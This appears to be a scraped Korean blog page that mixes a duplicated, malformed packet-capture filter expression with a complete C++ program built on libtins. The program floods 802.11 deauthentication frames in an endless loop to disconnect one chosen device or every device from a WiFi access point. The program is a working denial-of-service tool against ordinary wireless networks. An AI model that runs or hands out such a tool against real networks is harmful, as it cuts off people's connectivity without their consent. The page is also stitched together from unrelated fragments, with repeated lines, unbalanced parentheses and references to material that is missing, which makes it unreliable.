기본 사용법
[해당글] 참고
다중 필터 사용법
>> (port 80 or port 443) and ((host 172.17.30.100 or host 172.17.30.101 or host 172.17.30.102) and ((host 172.17.31.200 or host 172.17.31.201 or host 172.17.31.202))
blog of SilNex
[해당글] 참고
>> (port 80 or port 443) and ((host 172.17.30.100 or host 172.17.30.101 or host 172.17.30.102) and ((host 172.17.31.200 or host 172.17.31.201 or host 172.17.31.202))
WiFi 연결을 끊는 Deauth Packet을 날려 해당 와이파이에 연결된 모든 디바이스 혹은 하나의 디바이스를 선택하여 연결을 방해 할 수 있는 프로그램 입니다.
libtins라이블러리가 필요하며 자세한 내용은 해당 github을 참고 하여 주십시요.
#include <tins/tins.h> #include <cassert> #include <iostream> #include <string> #include <unistd.h> using namespace Tins; using namespace std; enum{CMD, INTERFACE, AP_MAC, DEST_MAC}; int main(int argc, char * argv[] ) { if(argc != 3 && argc != 4){ cout<<"using <inter face> <ap_mac> [<dest_mac>]"<<endl; return -1; } string Inf = argv[INTERFACE]; // network interface name if(argc == 4){ Dot11Deauthentication deauth; string dst_mac = argv[DEST_MAC]; // station device mac address string ap_mac = argv[AP_MAC]; // ap mac address deauth.addr1(dst_mac); // set device mac address deauth.addr2(ap_mac); // set ap mac address deauth.addr3(deauth.addr2()); // set bssid (option) RadioTap radio = RadioTap() / deauth; // make 802.11 packet //PacketWriter writer("/tmp/output.pcap", PacketWriter::DOT11); //writer.write(deauth); //TESTing code while(1){ PacketSender sender(Inf); // set packet sender & device sender.send(radio); // send packet usleep(100000); // delay } } else if(argc == 3){ Dot11Deauthentication deauth; string dst_mac = "ff:ff:ff:ff:ff:ff"; // broadcast string ap_mac = argv[AP_MAC]; // ap mac address deauth.addr1(dst_mac); // set device mac address deauth.addr2(ap_mac); // set ap mac address deauth.addr3(deauth.addr2()); // set bssid (necessarily) RadioTap radio = RadioTap() / deauth; // make 802.11 packet while(1){ PacketSender sender(Inf); // set packet sender & device sender.send(radio); // send packet usleep(100000); // delay } } }
아래 URL 에서 Filter에 대한 내용을 볼 수 있다.